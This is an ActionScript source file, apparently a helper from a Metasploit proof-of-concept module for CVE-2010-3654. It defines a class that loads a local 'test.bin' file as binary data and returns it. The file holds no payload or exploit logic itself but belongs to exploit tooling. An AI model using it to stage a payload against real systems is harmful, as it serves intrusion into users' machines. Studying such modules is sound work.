metasploit-framework/unstable-modules/external/source/exploits/CVE-2010-3654/Download.as

33 lines
678 B
ActionScript
Executable File

package poc {
import flash.display.*;
import flash.events.*;
import flash.net.*;
public class Download extends Sprite
{
public var myLoader:URLLoader = new URLLoader();
public var buf:String = new String();
public function init():void
{
var urlRequest:URLRequest = new URLRequest("test.bin");
myLoader.dataFormat = URLLoaderDataFormat.BINARY;
myLoader.addEventListener(Event.COMPLETE, onComplete);
myLoader.load(urlRequest);
}
public function onComplete(e:Event):void
{
buf = myLoader.data;
dispatchEvent(new Event(Event.COMPLETE));
}
public function getBinary():String {
return buf;
}
}
}